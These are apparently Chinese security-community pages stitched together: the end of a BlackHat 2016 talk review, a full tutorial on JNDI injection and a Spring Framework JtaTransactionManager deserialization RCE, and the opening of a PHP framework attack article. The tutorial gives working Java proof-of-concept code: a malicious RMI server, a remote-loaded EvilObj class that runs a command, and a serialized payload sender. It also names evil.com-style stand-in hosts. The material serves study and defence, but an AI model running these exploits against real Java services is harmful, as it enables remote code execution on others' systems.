来自腾讯科恩实验室的分享，之前通过挖掘到的OSX漏洞赢得Pwn2Own 2016的OSX项目，并在该议题里面作了详细的技术分享。
**【内容简介】**
从用户层和内核层的角度分析Apple Graphics图像处理系统的攻击面并结合漏洞实例进行分析。
用户层攻击面分析中，以Windows Server为例介绍了一些漏洞实例，比如CVE-2014-1314的API _XCreateSession
涉及敏感动作setuid，而没有对用户传递的路径参数进行严格校验，导致setuid可以越权逃逸沙盒，最后苹果以拒绝所有沙盒进程调用_XCreateSession
来修复此漏洞。同时也列举了一些其它API接口存在漏洞，比如_XSetMessageFile、_XSetGlobalForceConfig等等，后面又详细介绍了CVE-2016-1804
UAF漏洞的利用。
内核层攻击面分析中，主要介绍苹果图表驱动接口IOAccelSurface的漏洞，也就是此前他们在Pwn2Own上用于攻破OSX内核的漏洞，分享了漏洞利用技巧，包括ROP绕过SMEP/SMAP/SIP、利用信息泄露绕过kASLR等等。
**【点评】**
一份颇有干货的议题，此前他们在CanSecWest黑客大会上分享过关于Apple Graphics 内核驱动漏洞挖掘的议题《Don’t Trust Your
Eye- Apple Graphics Is Compromised》，而此次的议题主要是分享Pwn2Own上的漏洞分析与利用，侧重点不同，推荐一阅。
#### 5、《CANSPY：A Platform for Auditing CAN Device》——汽车CAN设备安全审计工具
图5：CANSPY硬件
来自Airbus空中客车公司（欧洲一家民航飞机制造公司）的安全研究员作的分享。
**【内容简介】**
关于汽车CAN（Controller Area
Network,控制器局域网络）安全的议题，作者发布的CANSPY是一款硬件设备，支持CAN数据伪造攻击、中间人攻击等手段，固件相关代码已在github上开源。
**【点评】**
这几年的汽车安全议题开始逐渐火起来了，关注CAN/ODB安全的人越来越多，一些工具也逐渐有安全研究人员开源出来，这都是一些不错的学习资料。笔者在些推荐一本关于汽车安全的电子书《Car
Hacker’s Manual》，有兴趣的读者可以阅读下。 这个议题涉及的技术细节较少，这是不足的一点，但关于工具CANSPY可以关注下。
#### 6、《Viral Video : exploiting SSRF in video converters》——
视频转换工具的SSRF漏洞分析与利用
图6：ffmpeg
SSRF漏洞利用示例
来自俄罗斯 Mail.RU 公司的两名安全研究员分享的议题
**【内容简介】**
总结了之前出现的FFmpeg视频转换时出现的SSRF漏洞，可读取服务器上的任意文件，比如/etc/passwd被用于攻破很多大公司的服务器，在很多漏洞平台上被刷爆了。
**【点评】**
只是对过去出现的历史漏洞的总结，但这个漏洞也是相当经典，影响甚广，所以这里列出来提下，并没有其它新内容。
#### 7、《Advanced Cross-Site Search Attacks》——跨站搜索攻击技术
图7：XS-Search技术示例
来自Cyberpion公司，以色列巴伊兰大学博士的安全研究员分享的议题。
**【内容简介】**
Cross-Site Search (XS-search)
Attack，跨站搜索攻击，通过向目标站点发送搜索请求，从而探测到用户的敏感信息，因为受害者的浏览器通常包含一些涉及隐私信息的服务授权（比如Gmail）。
虽然攻击者因为”同源策略“无法直接获取到响应数据，但可以测量响应时间，根据响应时间的差异来判断隐私信息的准确性。
**【点评】**
一种新型的Web攻击方式，基于时间差异和服务搜索功能来获取用户隐私信息，更像是一种边信道攻击。虽然思路很好，但在实战应用过程中，可能就比较受限，而且只有捕获或可搜索信息量够大时，才比较有实际价值的信息获取，同时也基于搜索关键词的健全性，有它的局限性所在。
#### 8、《Web Application Firewalls: Attacking detection logic
mechanisms》——基于正则缺陷绕过WAF
图8：绕过Edge浏览器的XSS过滤器
来自Positive安全公司的技术分享。
**【内容简介】**
针对主流的开源WAF（比如OWASP CRS、ModSecurity、Comodo
WAF、PHPIDS、QuickDefense、Libinjection)中的正则表达式进行逻辑测试，主要偏重于正则上的缺陷进行WAF绕过。
**【点评】**
WAF不是万能的，被绕过也是正常的，市面上的各处WAF也都基本被绕过，但通过它可以大大地提高攻击成本，还是可以阻断一部分黑客的。
该议题偏重于WAF正则问题，更系统化的WAF绕过技术总结，推荐PHDays黑客大会上的《Web Application Firewall
Bypassing》议题。
#### 9、《Pwning Your Java Messaging With Deserialization
Vulnerabilities》——JMS反序列化漏洞分析与利用
图9：挖掘到的Java反序列化漏洞修复情况
来自Code White安全公司的分享议题。
**【内容简介】**
关于Java反序列化漏洞的相关技术分享，介绍Java Message
Service（JMS）存在的攻击面，利用ObjectMessage消息类型中包含的序列化对象，经getObject函数处理时，如不正当使用，可能会反序列化用户传递的任意对象，就可能造成反序列化漏洞。然后作者通过分析很多主流的Java应用服务发现了不少漏洞。最后，作者分享一款Java消息反序列化漏洞的利用工具JMET（Java
Message Exploitation Tool），并且已在GitHub上开源。
**【点评】**
现在BlackHat上关于Web的议题已经越来越少，有干货的Web安全议题更是少之又少，该议题还是不错的Web议题，而且有实际的漏洞产出，思路值得借鉴和延伸。
#### 10、《The Art of Defense：How vulnerabilities help shape security features
and mitigations in Android》——Google通过Android漏洞制定的通用防御策略介绍
图10：Android主要的安全防御机制
来自 Google Android 平台安全团队的负责人 Nick Kralevich 针对 Android 的防御机制所做的技术分享
**【内容简介】**
列举了当前Android平台主要的安全机制，并以多个经典的Android漏洞（PingPong、Stagefright等等）为例，分析其中的一些攻防思路，如何根据报告的漏洞举一反三，以解决同一类问题是防御的关键。
**【点评】**
企业内部在做业务安全时，单纯修复外部报告的漏洞本身，是远远不够的。Google做了很好的示范，应该举一反三，思考如何去解决各个业务中同类问题。这种思路无论在软件系统，还是Web上，都是通用的。外部报告一个漏洞，如何提高自身安全系统的检测能力去批量发现同类漏洞？如何提高自身系统的防御能力去增加攻击成本？
#### 11、《$hell on Earth: From Browser to System Compromise》——Pwn2Own 2016
各项目漏洞原理与利用
图11：腾讯科恩实验室的OSX项目（从safari到内核提权）的演示demo
来自趋势科技 Zero Day Initiative 的安全研究员针对Pwn2Own 2016 黑客大赛上各种被攻破的项目做的技术分享。
**【内容简介】**
对Pwn2Own 2016黑客大赛上的每个攻破项目所涉及的漏洞原理、利用技巧进行简要地分析，并提供demo演示。
漏洞包括腾讯科恩发现的Safari漏洞到内核提权漏洞、Flash到系统提权漏洞、Edge到系统提权的漏洞，韩国神童Lokihardt发现的Safari漏洞到内核提权漏洞、Edge到系统提权漏洞，360发现的Chrome到内核提权的漏洞、Flash到系统提权漏洞。
**【点评】**
标题已经足够牛逼，但每个漏洞也就简短的几页精要地介绍下，其实涉及的内容还是蛮多的，要是扩展出来细说，可以说的技术内容就太多了。
其实每个攻破的项目都可以作为一个BlackHat议题拿来讲的，现在被ZDI的人一次性讲完，各个团队可能也不太方便再拿出来讲了。
#### 12、《The Art of Reverse Engineering Flash Exploits》——Flash
Exploit样本的逆向分析方法
图12：议题中分析的flash样本列表
来自微软安全研究人员Jeong Wook Oh的技术分享。
**【内容简介】**
介绍了多个不错的Flash分析工具，并挑选几个经典的Flash漏洞案例以及利用技术（比如Vector长度和ByteArray长度篡改、JIT攻击、绕过CFG的技术）进行分析。
**【点评】**
一个不错的议题，对过去近一年的经典Flash漏洞利用样本进行逆向分析，介绍了当前流行的主流Flash漏洞利用技术，上面的截图已经详细地列出各个漏洞所使用的利用技术，是对过去Flash漏洞利用技术很好的总结，推荐阅读。
#### 13、《The Year In Flash》—— Google Project Zero对过去一年多的Flash漏洞成因和发展趋势的分析
图13：近一年多的Flash漏洞时间轴
来自 Google Project Zero 的一位女安全研究员Natalie Silvanovich所做的分享。
**【内容简介】**
主要也是对过去一年多的Flash漏洞以及Adobe针对Flash增加的内存安全保护机制进行分析，相对上一个Flash议题的不同，它更多地分析漏洞成因，以及一些安全事件，并对未来Flash漏洞的发展进行预测。
每个阶段经常出现同一类型的Flash漏洞，比如Flash解析其它多媒体文件（比如MP4）、或者图片文件，也对每个Flash漏洞挖掘方式进行推测，绝大部分是Fuzzing出来的。
**【点评】**
对过去一年多Flash漏洞进行总结，其中可以看到一些Flash漏洞挖掘的趋势，单纯Fuzzing
SWF文件基本已经很难发现漏洞，复合文件的Fuzzing是趋势，比如SWF+MP4、SWF+JPG等等，还有AS3漏洞等。
上述趋势以及最后作者的总结，都可以作为漏洞挖掘者尝试的Fuzzing方向，不过现在各大浏览器已经开始禁用Flash，相信未来会逐步被Html5所代替，但饿死的骆驼比马大，其短期内还是会继续受漏洞影响的。
#### 14、《Pangu 9 Internals》——盘古越狱团队针对iOS9越狱技术原理的剖析
图14：iOS内核攻击面
来自盘古越狱团队针对iOS 9越狱技术的分享议题。
**【内容简介】**
讲解通过XPC调用服务com.apple.PersistentURLTranslator.Gatekeeper实现跨目录读写任意文件，最后再从任意文件读写转换成代码执行，然后再介绍在iOS9越狱中使用到的内核漏洞。
**【点评】**
笔者对iOS越狱技术研究相对较少，技术内容就不点评了，但只需要知道一点，会写iOS越狱程序的都很牛逼。
* * *
### 安全发展趋势
从所有BlackHat议题中可以发现当前业界的安全关注点，以及未来安全发展趋势的风向。笔者对所有议题内容过了一遍，对于安全发展趋势，总结出以下3点供大家参考：
#### 1、机器学习在安全领域的运用会逐渐增加
目前在一些漏洞检测、入侵检测系统，恶意软件分类和僵尸网络流量识别领域已经使用到机器学习。Defcon
CTF大赛现场也有一支机器人队伍，全自动化挖洞补洞，并战胜两个人类队伍（能进入Defcon决赛也不会太差），从这些都可以看到机器学习在未来运用到安全领域将来越来越多。
#### 2、Flash漏洞的利用难度再不断上升，但仍可能被攻破，同时未来Flash可能退出历史舞台
目前一些主流浏览器，比如Chrome、Firefox已经开始禁用Flash，开始用Html5代替。再加上Adobe针对Flash增加的一些安全防御机制，大大增加了漏洞攻击成本，提高了漏洞利用难度，但还是有可能被攻破的。
#### 3、物联网安全与云安全依然倍受关注
最近两年各大安全大会上，一般都会有关于物联网安全与云虚拟化安全的相关议题，本次BlackHat也不例外。各种智能设备目前仍处于起步阶段，很多还不够成熟，但随着未来发展，在普通民众普及开来后，安全的影响面就更大了。云安全更多是一些互联网厂商当前需要解决的，攻防之战已经展开了，在云上被经常使用的虚拟化软件VM、QEMU、XEN的漏洞也会被经常曝光，主要用于逃逸虚拟机。
* * * | 社区文章 |
# JDNI注入学习
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 关于JNDI
JNDI (Java Naming and Directory Interface)
是一组应用程序接口，它为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象，RMI注册的服务可以通过JNDI接口来访问和调用。
JNDI支持多种命名和目录提供程序（Naming and Directory Providers），前文提到过的RMI注册表服务提供程序`（RMI
Registry Service
Provider）`允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合，RMI客户端直接通过URL来定位一个远程对象，而且该RMI服务可以和包含人员，组织和网络资源等信息的企业目录链接在一起。
JNDI的应用场景比如：动态加载数据库配置文件，从而保持数据库代码不变动等。
我们要使用JNDI，必须要有服务提供方，常用的就是JDBC驱动提供数据库连接服务，然后我们配置JNDI连接。
JDK也为我们提供了一些服务接口：
* 1. LDAP （Lightweight Directory Access Protocol） 轻量级目录访问协议
1. CORBA （Common Object Request Broker Architecture） 公共对象请求代理结构服务
1. RMI（Java Remote Method Invocation）JAVA远程远程方法调用注册
1. DNS（Domain Name Service）域名服务
JNDI结构图如下:
代码格式
String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
举个例子，当我们需要开发访问`Mysql`数据库时，需要用JDBC的URL连接到数据库:
Connection conn=null;
try {
Class.forName("com.mysql.jdbc.Driver",
true, Thread.currentThread().getContextClassLoader());
conn=DriverManager.
getConnection("jdbc:mysql://MyDBServer?user=Crispr&password=Crispr");
......//对conn的相关数据库操作
conn.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) {}
}
}
在不使用JDNI情况下可能存在如下问题:
* 1、数据库服务器名称MyDBServer 、用户名和口令都可能需要改变，由此引发JDBC URL需要修改；
* 2、数据库可能改用别的产品，如改用DB2或者Oracle，引发JDBC驱动程序包和类名需要修改；
* 3、随着实际使用终端的增加，原配置的连接池参数可能需要调整；
当我们想使用`JDNI`时，可以通过设定一个数据源(mysql.xml)，将JDBC的URL，驱动类名，用户名及密码都绑定到源上，之后便只需要引用该数据源即可:
Connection conn=null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
......
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}
回到之前，这里本文也是主要对利用JNDI结合RMI的相关缺陷进行学习和分析
JNDI引用RMI远程对象时:
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");
> 注：InitialContext 是一个实现了 Context接口的类。使用这个类作为JNDI命名服务的入口点。创建InitialContext
> 对象需要传入一组属性，参数类型为java.util.Hashtable或其子类之一
这里分析部分有关JNDI可利用的漏洞，不过在此之前，我们先通过一个小demo来实现JNDI调用远程对象:
首先，如果方法想要被远程调用，必须实现`Remote`接口，并抛出`RemoteException`异常，而如果对象需要被远程调用，则需要实现`java.rmi.server.UniCastRemoteObject`类
创建需要被远程调用的方法的接口:
public interface HelloWorld extends Remote{
public String Hello() throws RemoteException; //定义的方法需要抛出RemoteException的异常
public String HelloWorld() throws RemoteException;
/*
* 由于任何远程方法调用实际上要进行许多低级网络操作，因此网络错误可能在调用过程中随时发生。
因此，所有的RMI操作都应放到try-catch块中
* */
}
创建`RemoteHelloWorld`类并且继承`java.rmi.server.UniCastRemoteObject`类并且实现了方法接口:
public static class RemoteHelloWorld extends UnicastRemoteObject implements HelloWorld{
protected RemoteHelloWorld() throws RemoteException { //需要抛出一个Remote异常的默认初始方法
}
@Override
public String Hello() throws RemoteException { //实现接口的方法
return "Hello World!";
}
@Override
public String HelloWorld() throws RemoteException{
return "This is another method";
}
}
创建注册中心，并且将远程对象类进行绑定:
private void start() throws Exception{
RemoteHelloWorld rhw = new RemoteHelloWorld();
System.out.println("registry is running...");
//创建注册中心
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/hello",rhw);
}
最后使用`JNDI`去获取并调用对象方法:
public static void main(String[] args) throws Exception{
//创建远程对象实例
new RMIServer().start();
// 配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);
HelloWorld helloWorld = (HelloWorld)ctx.lookup("hello");
System.out.println(helloWorld.Hello());
System.out.println(helloWorld.HelloWorld());
}
自此完成了RMI的远程调用方法，不过需要注意的是方法调用仍然是在远程执行，得到的数据通过序列化传递给本地stub中传回至客户端
在学习JNDI References注入之前，还需要了解一些知识，即`RMI中动态加载字节代码`
## RMI中动态加载字节代码
如果远程获取 RMI 服务上的对象为 Reference 类或者其子类，则在客户端获取到远程对象存根实例时，可以从其他服务器上加载 class
文件来进行实例化。
Reference 中几个比较关键的属性：
* className – 远程加载时所使用的类名
* classFactory – 加载的 class 中需要实例化类的名称
* classFactoryLocation – 提供 classes 数据的地址可以是 file/ftp/http 等协议
例如这里定义一个 Reference 实例，并使用继承了 UnicastRemoteObject 类的 ReferenceWrapper
包裹一下实例对象，使其能够通过 RMI 进行远程访问：
//定义一个Reference类，其远程加载使用的类名为refClassName
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
//使用ReferenceWrappper进行包裹
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
进行绑定
registry.bind("refObj", refObjWrapper);
有客户端通过`lookup("refObj")`获取远程对象时，获得到一个`Reference`
类的存根，由于获取的是一个`Reference`实例，客户端会首先去本地的
CLASSPATH去寻找被标识为`refClassName`的类，如果本地未找到，则会去请求
`http://example.com:12345/refClassName.class`动态加载classes 并调用insClassName的构造函数。
## JNDI 协议动态转换
我们知道，在初始化配置`JNDI`设置时可以预先指定其上下文环境()RMI、LDAP 或者CORBA等):
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
当调用`lookup()`方法时通过URI中规定的协议能够动态的调整上下文环境，例如上面已经设置了当前上下文会访问 RMI 服务，那么可以直接使用 LDAP
的 URI 格式去转换上下文环境访问 LDAP 服务上的绑定对象：
ctx.lookup("ldap://xxxxx:2333/");
这里不妨跟进实现过程,调用`lookup()`方法后进入`InitialContext`类，调用`getURLOrDefaultInitCtx`的`lookup()`方法:
继续跟进:
通过`String scheme =
getURLScheme(name);`获取获取协议,如果`name`中包含特定的`Schema`协议，代码则会使用相应的工厂去初始化上下文环境，这时候不管之前配置的工厂环境是什么，这里都会被动态地对其进行替换。
## JNDI References注入 思路
这里不妨调试客户端`lookup()`对`Reference`类的处理情况:
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
可以看到先调用`RegistryContext.decodeObject()`方法，在此处进行了是否属于`Reference`类的判断，如果是则调用`RemoteReference.getReference()`方法,然后调用`NamingManager.getObjectInstance`方法，接着会调用`factory.getObjectInstance`方法，如果factory不为空的话，因为这里是随便构造的Reference类，使`factory`为空了:
因此其调用链情况为:
lookup()-> RegistryContext.decodeObject()-> NamingManager.getObjectInstance()-> factory.getObjectInstance()
总的来说，就是当客户端在lookup()查找这个远程对象时，客户端会获取相应的object
factory，最终通过factory类将reference转换为具体的对象实例。
因此当代码调用了InitialContext.lookup(URI)，且URI为用户可控，我们可以控制URI为恶意的RMI服务器地址，根据 **JNDI
协议动态转换** ,即使之前并不是RMI的上下文环境配置，也会因为URI中的RMI协议而转换为RMI的环境配置
攻击者RMI服务器向目标返回一个Reference对象，`Reference`对象中指定某个精心构造的Factory类；
目标在进行`lookup()`操作时，会动态加载并实例化Factory类，接着调用`factory.getObjectInstance()`获取外部远程对象实例
攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；
上述所说的JNDI注入都是基于以下三个方面:
* JNDI 调用中 lookup() 参数可控
* 使用带协议的 URI 可以进行动态环境转换
* Reference 类动态代码获取进行实例化
用一张图来说明下攻击思路:
这里详细说明攻击思路:
当`lookup()`内参数可控时，由于动态转换的特性，我们可以构造一个恶意的RMI服务器，例如`rmi://evil.com:1099/refObj`，此时客户端请求绑定对象`refObj`，而恶意RMI服务器中与`refObj`相绑定的是一个`ReferenceWrapper`对象(`Reference("EvilObject",
"EvilObject", "http://evil-cb.com/")`)
由于本地`ClassPath`并没有该类，因此会从指定url中加载`EvilObject.class`
因此我们只需要准备一个恶意的`EvilObject.class`，在其构造函数包含恶意代码时，便能使得客户端执行恶意代码
下面简单的演示该思路实现的具体代码:
编写RMI服务端:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObj","EvilObj","http://127.0.0.1:2333/EvilObj");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding to rmi://127.0.0.1:1099/refObj...");
registry.bind("refObj",referenceWrapper);
System.out.println("Bind!");
}
}
服务端所需要做的就是将`reference类`通过`ReferenceWrapper`包裹后通过注册中心进行绑定，以便于客户端去请求得到该远程类
编写RMI客户端类:
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
public class RMIClient {
public static void main(String[] args) throws Exception{
String uri = "http://127.0.0.1:2333/EvilObj";
Context ctx = new InitialContext();
System.out.println("Being Looking up");
ctx.lookup(uri);
}
}
客户端这里直接将可控数据写入，`uri`即是我们可控的数据，这里直接演示将可控数据替换为构造好的恶意RMI服务器的地址，调用`lookup()`去获得远程类`EvilObj`
编写恶意类文件EvilObj
public class EvilObj {
public EvilObj() throws Exception{
Runtime runtime = Runtime.getRuntime();
String command = "calc.exe";
runtime.exec(command);
}
}
在此过程中，我们知道客户端通过`lookup()`获取远程对象时，获得一个`Reference`类的`stub`,由于其为`Reference`实例，客户端首先加载本地`CLASSPATH`查询名为`EvilObj`的类，如果没有找到，则会去请求`http://127.0.0.1:2333/EvilObj.class`来动态加载该类，并且调用`EvilObj`的构造方法
>
> 注意为了避免加载本地CLASSPATH中的EvilObj类，可以将本地生成的`EvilObj.class`和`EvilObj.java`删除或者转移到其他目录下,或者直接使用javac将文件编译
最终成功调用`EvilObj`的构造方法实现RCE
但是尽管可以执行，在客户端却会抛出异常，这里经过调试发现:
在此处实例化该类(`EvilObj`)后会实现类型转化为`ObjectFactory`类，而该类实际上是一个接口，因此我们需要在编写`EvilObj`类时实现该接口，该接口仅定义了一个方法:
因此这里利用前文所述，在`getObjectInstance()`方法写入恶意代码，只需要改写`EvilObj.java`即可:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilObj implements ObjectFactory {
public EvilObj() throws Exception{
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
//恶意代码放到getObjectInstance中
Runtime runtime = Runtime.getRuntime();
String cmd = "calc.exe";
Process pc = runtime.exec(cmd);
pc.waitFor();
return null;
}
}
现在便不会抛出异常，因为该类可以类型转化为`ObjectFactory`，跟进调试查看:
`NamingManager.java`中可以发现此时factory类不为null,该类就是`EvilObj`类型转化为对象工厂的实例
再通过`getObjectInstance()`获取外部远程对象实例`EvilObj`
因此我们重写`getObjectInstance`方法，写入恶意代码，也会得以执行
## Spring Framework 反序列化 RCE漏洞分析
选择版本为`Spring Framework 3.2.4`
Spring 框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的`org.springframework.transaction.jta.JtaTransactionManager`类，该类实现了`Java
Transaction API`，主要功能是处理分布式的事务管理，既然是反序列化漏洞，我们直接定位到`readObject()`方法即可:
跟进`initUserTransactionAndTransactionManager()`方法:
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
}
else {
this.userTransaction = retrieveUserTransaction();
}
}
// Fetch JTA TransactionManager from JNDI, if necessary.
if (this.transactionManager == null) {
if (StringUtils.hasLength(this.transactionManagerName)) {
//可以看到在这里调用了lookupUserTransaction方法
this.transactionManager = lookupTransactionManager(this.transactionManagerName);
}
else {
this.transactionManager = retrieveTransactionManager();
}
}
// Autodetect UserTransaction at its default JNDI location.
if (this.userTransaction == null && this.autodetectUserTransaction) {
this.userTransaction = findUserTransaction();
}
// Autodetect UserTransaction object that implements TransactionManager,
// and check fallback JNDI locations else.
if (this.transactionManager == null && this.autodetectTransactionManager) {
this.transactionManager = findTransactionManager(this.userTransaction);
}
// If only JTA TransactionManager specified, create UserTransaction handle for it.
if (this.userTransaction == null && this.transactionManager != null) {
this.userTransaction = buildUserTransaction(this.transactionManager);
}
}
注释中明确提到支持通过配置好的transaction名称用JNDI的方式进行查找，而`this.transactionManagerName`是可控的，可以通过`setTransactionManagerName()`方法来赋值，不妨跟进`lookupUserTransaction`:
最终会调用JndiTemplate的lookup方法，如下:
因此这又回到了JNDI注入的问题上，之所以称之为反序列化漏洞，可能是因为利用入口点在`readObject()`方法上，但是思路都是JNDI注入的思路
对于该漏洞，我们所利用的也是三个地方:
* userTransactionName，可以指定为攻击者自己注册的RMI服务。
* codebase url，远程调用类的路径（攻击者可控）
* JtaTransactionManager类中的readObject方法在反序列化事触发了JNDI的RCE
### Spring Framework Demo演示
参考Github上已有的演示demo: [https://github.com/zerothoughts/spring-jndi](https://)
**客户端**
这里`Clinet`客户端的编写思路和之前差不多:
package SpringVuln;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.springframework.transaction.jta.JtaTransactionManager;
import javax.naming.Reference;
import java.io.ObjectOutputStream;
import java.net.Socket;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ClientExploit {
/***
* 启动RMI服务
*
* @throws Exception
*/
public static void lanuchRMIregister() throws Exception{
System.out.println("Creating RMI register...");
Registry registry = LocateRegistry.createRegistry(1099);
// 最终下载恶意类的地址为http://127.0.0.1:9999/SpringExploitObj.class
Reference refObj = new Reference("EvilObj","EvilObj","http://127.0.0.1:9999/");
//使用ReferenceWrapper包装，其继承了UnicastRemoteObject因此实现了Remote接口
ReferenceWrapper referenceWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj",referenceWrapper);
}
/***
* 发送payload
*
* @throws Exception
*/
public static void sendPayload() throws Exception{
//定义jndi的调用地址
String uri = "rmi://127.0.0.1:1099/refObj";
//实例化利用类JtaTransactionManager
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
//调用setUserTransactionName方法从而控制userTransactionName
jtaTransactionManager.setUserTransactionName(uri);
//发送经过序列化后的Payload，等待服务端实例化时反序列化触发漏洞
Socket socket = new Socket("127.0.0.1",2333);
System.out.println("Sending Payload...");
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
oos.writeObject(jtaTransactionManager);
oos.flush();
oos.close();
socket.close();
}
public static void main(String[] args) throws Exception{
lanuchRMIregister();
sendPayload();
}
}
**服务端**
服务端只需将得到的数据反序列化即可:
package SpringVuln;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class ServerExploit {
public static void main(String[] args) {
try {
//create socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt("2333"));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//wait for connect
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//readObject to DeSerialize
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
恶意类仍然使用之前的`EvilObj`类即可，因为只是简单模拟命令执行操作:
**执行流程**
但是在执行过程中，服务端同样出现了抛出异常的处理，因此我们在通过动态调试来跟进整个利用过程，并且找到抛出异常的原因
**动调跟进**
在`JtaTransactionManager`中`readObject`下断点:
跟进`initUserTransactionAndTransactionManager()`方法:
继续跟进`lookupUserTransaction()`方法，此时`this.userTransactionName`已经被赋值为`rmi://127.0.0.1:1099`
继续跟进`lookup()`方法,最终调用`ctx.lookup()`
这里因JNDI的动态转换，因此会切换到RMI的上下文环境，最终判断该类是否为`Reference`对象类，本地`CLASSPATH`查询失败后再去远程加载EvilObj类
后续和前文利用JNDI注入的分析过程一致，在这里就不重复了，当然恶意代码可以写在远程加载class中的构造方法中，也可以重写`getObjectInstance()`方法，嵌入到其中。
因此总的来说，`Spring FrameWork`这个反序列化漏洞，整体的核心思路还是JNDI注入的思路，只是在整个`Gadget
Chains`的入口是通过`readObject()`得以触发。
**总结**
注意并不是使用`Spring`框架开发就会存在此漏洞的利用，原因是因为成功利用JNDI注入需要满足三个方面:
* 1.存在对象的反序列化，因为反序列化`readObject`是入口
* 2.由于需要进行远程类下载，因此要求主机必须能够出网
* 3.CLASSPATH中存在`Spring-tx-xx.jar`的有缺陷的jar包
对于前两个问题来说，条件都是比较能够满足的，例如JBOSS、Weblogic、Jenkins等中间件都存在反序列化之处，但是并不是所有基于`Spring`开发都会使用`Spring-tx-xxx.jar`包，该包并不是这些中间件的默认组件，在这里只是利用该漏洞对JNDI注入有一个更深入的认识。
**最后如有认识错误或者说明不当，还请多多指正和谅解！**
* * *
参考链接:
[https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/](https://)
[https://security.tencent.com/index.php/blog/msg/131](https://)
[https://github.com/zerothoughts/spring-jndi](https://) | 社区文章 |
# 关于攻击PHP框架的几种思路
|
##### 译文声明
本文是翻译文章，文章来源：MottoIN
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**写在前面**
认识一些主流的开发框架与现在程序设计理念，包含了一些WEB设计上的趋势与概念。另外以我自己的角度去说明一下怎么去看一个PHP程序，方法适合于以上开源框架和一些公司内部开发的框架（只要能看到源码）。
**
**
**框架的选择**
****
ThinkPHP V3.2
CodeIgniter V2.2.2
Laravel V5.1
选择以上三个框架也是以为这三个框架算是比较有代表性的！ThinkPHP（TP）在国内很受欢迎，特别是小公司。CodeIgniter（CI）是传统且很流行的框架，并且也是很成熟的框架，据我说知sina的大多数地方站都是这个框架写的。Laravel是一个充满设计感的框架，应用了目前PHP上的所有新技术，并且借鉴了大量java与python的框架设计结构，也是目前调查的最流行的的Laravel框架（国内外）！
**
**
**认识框架**
****
依次排开：Laravel-> CodeIgniter(CI)->ThinkPHP(TP)
中间的CI并未包含composer.json这个文件，这是PHP的包管理配置文件，在CI的3.0+版本中同样加入了PHP的包管理，真的是方便了大多数程序员。这样的目录结构很明显，一眼就能看出来。
**
**
**框架的基本设计模式**
****
